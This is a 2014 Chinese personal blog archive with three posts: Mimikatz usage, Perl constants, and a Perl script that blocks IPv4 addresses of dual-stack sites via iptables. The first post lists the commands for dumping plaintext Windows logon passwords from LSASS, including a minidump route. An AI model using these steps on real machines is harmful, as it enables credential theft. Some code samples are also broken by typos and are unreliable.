momo zone

调核人的blog

Monthly Archives: 三月 2014

windows Mimikatz hack神器

一个法国的牛X人物写的hack工具,它竟然可以dump出明文的windows密码,在我印象中windows密码同样是散列的,不可能还原明文……

另外它也是个windows下的注入调试工具。不过我也就试了试密码破解…….

用法:

step1:

privilege::debug   (进行提权)

step2:

sekurlsa::logonpasswords

…….好像什么东西泄露了

如果提权操作返回错误可以使用任务管理器对lsass.exe进行转储,然后在mimikatz中先执行sekurlsa::minidump lsass.dmp,再执行sekurlsa::logonPasswords full也能看到密码明文

perl constant

在perl中使用constant编译指示允许使用常量。常量顾名思义就是在整个程序的执行过程中,变量的值不会发生变化。如果在编写程序的时候, 你能够确定哪些变量的值不在发生变化,你可以使用use constant的方法来定义常量。下面就是标量常量,列表常量,hash常量的使用方法。

Scalar constant

use constant COUNT = > 100;
print COUNT ;

可以发现'COUNT'不需要在前面加'$',也就是说constant标量的使用是一个特殊的语法。

List constant


use constant WEEKDAYS = > qw (
        Sunday Monday Tuesday Wednesday Thursday Friday Saturday
);
print "Today is ", (WEEKDAYS) [1], ".\n"; 

奇葩的语法,'WEEKDAYS'必须用括号括起来。如果直接这样引用会有问题:
print (WEEKDAYS)[1];
因为print是个函数,WEEKDAYS的括号会给print用。也就语法错误了。正确的写法是这样:
print ((WEEKDAYS)[1]);

Hash constant
use constant WEEKABBR = > {
       ‘Monday’ = > ‘Mon’,
       ‘Tuesday’ = > ‘Tue’,
       ‘Wednesday’ = >’Wed’,
       ‘Thursday’ = > ‘Thu’,
       ‘Friday’ = >’Fri’ )
 %abbr = WEEKABBR;
 $day = ‘Wednesday’;
 print “The abbrevaiation for $day is ”, $abbr { $day };

和前面的语法又不一样了,WEEKABBR必须明确赋给一个hash变量才能在后面引用。

chrome 浏览器走ipv6还是ipv4?

我想大部分一定是觉得应该优先ipv6。我原来也是这么认为,但chrome实际不是。(IE和firefox浏览器是的)。

这个问题在过去的旧版本不存在,因为它只是单纯根据主机的网络配置设置Default address family,然后chrome安装这个选项进行全局的ipv6,ipv4选择。关键是这个选项原来是可以手动指定的。但在较新的版本中即使有ipv6网络也是指定的’UNSPECIFIED’。

这样的情况下chrome在AAAA地址可以到达,A地址也可以到达时 选取最优的地址来访问。比如访问www.youtube.com,那么实际上抓包既可以看到ipv6流量也可以看到ipv4流量。

那么这会带来一个问题,主要是GFW,试想访问一个双栈站点,ipv4被reset了,ipv6即使不被墙 本地也会因为ipv4连接重置而主动重置ipv6的连接。导致整个应用异常。我试图通过修改dns配置,修改chrome代码的方式(对chrome代码了解不多,也只是在Default address family动一下)让它在有AAAA的情况下完全通过ipv6访问,但都不成功。最后只有一个笨方法就是用iptables禁止ipv4的地址外出。这个方法最大的缺点是缺乏动态性,也就是你要知道哪些域名既有AAAA也有A 只有这样才能把A的封掉。perl脚本如下:

#! /usr/bin/env perl
use 5.010;
use strict;
use warnings;

use Net::DNS;
use IO::Select;

my @dlist;

defined $ARGV[0] or die "miss list";

if ( ! open FILE ,$ARGV[0]){
	die "open file error";
}

while (){
	chomp;
	push @dlist, $_;
}
close FILE;

my $F_TYPE="A";
my $tmout = 30;
my @ready;
my @rr_list;

my $res = Net::DNS::Resolver->new;
my $sel = IO::Select->new();

foreach (@dlist){
	my $bgquery = $res->bgsend($_, $F_TYPE);
	$sel->add($bgquery);
}
print "dname nr:",$sel->count(),"\n";

while($sel->count()){
	@ready = $sel->can_read($tmout);
	if (@ready){
		foreach (@ready){
			my @ans = $res->bgread($_)->answer;
			foreach my $rr (@ans){
				if ($rr->{'type'} eq $F_TYPE){
#					print $rr->{'address'} ,"\n";
					push @rr_list, $rr->{'address'};
				}
			}
			$sel->remove($_);
			$_=undef;
		}
	}else{
		warn "timeout\n";
	}
}

my %saw;
@saw{@rr_list} = ();
my @rr_uniq = sort keys %saw;
system "/usr/sbin/iptables -F";
foreach ( @rr_uniq){
	system "/usr/sbin/iptables -A OUTPUT -d $_ -j DROP";
}